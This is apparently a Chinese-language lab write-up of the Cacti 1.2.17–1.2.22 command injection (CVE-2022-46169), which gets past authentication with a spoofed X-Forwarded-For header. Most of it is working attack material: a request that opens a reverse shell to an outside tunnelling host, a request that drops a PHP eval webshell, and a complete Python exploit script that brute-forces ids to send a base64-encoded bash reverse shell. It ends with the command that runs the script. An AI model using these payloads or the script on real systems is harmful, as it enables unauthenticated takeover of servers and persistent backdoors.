Cacti

前台命令注入漏洞(CVE-2022-46169)

Cacti是一个服务器监控与管理平台。基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具.在其1.2.17-1.2.22版本中存在一处命令注入漏洞,攻击者可以通过X-Forwarded-For请求头绕过服务端校验并在其中执行任意命令。

由于remote_agent.php文件存在验证缺陷,未经身份验证的攻击者通过设置HTTP_开头变量的值为 Cacti的服务器主机名来实现身份验证绕过,之后控制get_nfilter_request_var()函数中的检索参数$poller_id,当poller_item设置为POLLER_ACTION_SCRIPT_PHP时,导致proc_open()函数被触发,最终实现在目标系统上任意命令执行。

#漏洞payload

remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`/bin/bash -i >& /dev/tcp/6.tcp.cpolar.cn/13523 1&>0`

X-Forwarded-For:127.0.0.1

这个漏洞的利用需要Cacti应用中至少存在一个类似是`POLLER_ACTION_SCRIPT_PHP`的采集器。所以,我们在Cacti后台首页创建一个新的Graph:

1

2

创建成功之后用payload即可反弹shell,或者写入webshell

3

http://localhost:8080/remote_agent.php?action=polldata&local_data_ids\[0\]=6&host_id=1&poller_id=\`touch+/tmp/success\`

http://localhost:8080/remote_agent.php?action=polldata&local_data_ids\[0\]=6&host_id=1&poller_id=\`echo%20%20'%3C%3Fphp%20%40eval(%24_REQUEST%5B%22cmd%22%5D)%3B%3F%3E'%20%3Eshell.php\`

或者直接用POC链

# https://www.exploit-db.com/exploits/51166

# Exploit Title: Cacti v1.2.22 - Remote Command Execution (RCE)

# Exploit Author: Riadh BOUCHAHOUA

# Discovery Date: 2022-12-08

# Vendor Homepage: https://www.cacti.net/

# Software Links : https://github.com/Cacti/cacti

# Tested Version: 1.2.2x <= 1.2.22

# CVE: CVE-2022-46169

# Tested on OS: Debian 10/11

# !/usr/bin/env python3

import random

import sys

import httpx, urllib

class Exploit:

    def __init__(self, url, proxy=None, rs_host=””, rs_port=””):

        self.url = url

        self.session = httpx.Client(headers={“User-Agent”: self.random_user_agent()}, verify=False, proxies=proxy)

        self.rs_host = rs_host

        self.rs_port = rs_port

    def exploit(self):

        # cacti local ip from the url for the X-Forwarded-For header

        # local_cacti_ip  = self.url.split(“//“)[1].split(“/“)[0]

        local_cacti_ip = ‘127.0.0.1’

        headers = {

            ‘X-Forwarded-For’: f’{local_cacti_ip}’

        }

        revshell = f”bash -c ‘exec bash -i &>/dev/tcp/{self.rs_host}/{self.rs_port} <&1’”

        import base64

        b64_revshell = base64.b64encode(revshell.encode()).decode()

        payload = f”;echo {b64_revshell} | base64 -d | bash -“

        payload = urllib.parse.quote(payload)

        urls = []

        # Adjust the range to fit your needs ( wider the range, longer the script will take to run the more success you will have achieving a reverse shell)

        for host_id in range(1, 100):

            for local_data_ids in range(1, 100):

                urls.append(

                    f”{self.url}/remote_agent.php?action=polldata&local_data_ids[]={local_data_ids}&host_id={host_id}&poller_id=1{payload}”)

        for url in urls:

            try:

                print(“[*]try: {}”.format(urllib.parse.unquote(url)))

                r = self.session.get(url, headers=headers)

                print(f”{r.status_code} - {r.text}”)

            except Exception as e:

                print(e)

                sys.exit()

        pass

    def random_user_agent(self):

        ua_list = [

            “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36”,

            “Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0”,

        ]

        return random.choice(ua_list)

def parse_args():

    import argparse

    argparser = argparse.ArgumentParser()

    argparser.add_argument(“-u”, “–url”, help=”Target URL (e.g. http://192.168.1.100/cacti)”)

    argparser.add_argument(“-p”, “–remote_port”, help=”reverse shell port to connect to”, required=True)

    argparser.add_argument(“-i”, “–remote_ip”, help=”reverse shell IP to connect to”, required=True)

    return argparser.parse_args()

def main() -> None:

    # Open a nc listener (rs_host+rs_port) and run the script against a CACTI server with its LOCAL IP URL

    args = parse_args()

    e = Exploit(args.url, rs_host=args.remote_ip, rs_port=args.remote_port)

    e.exploit()

if __name__ == “__main__“:

    main()

python Cacti.py -u http://靶机ip:8080 -i 接收shell的ip -p 15141

这就直接反弹shell了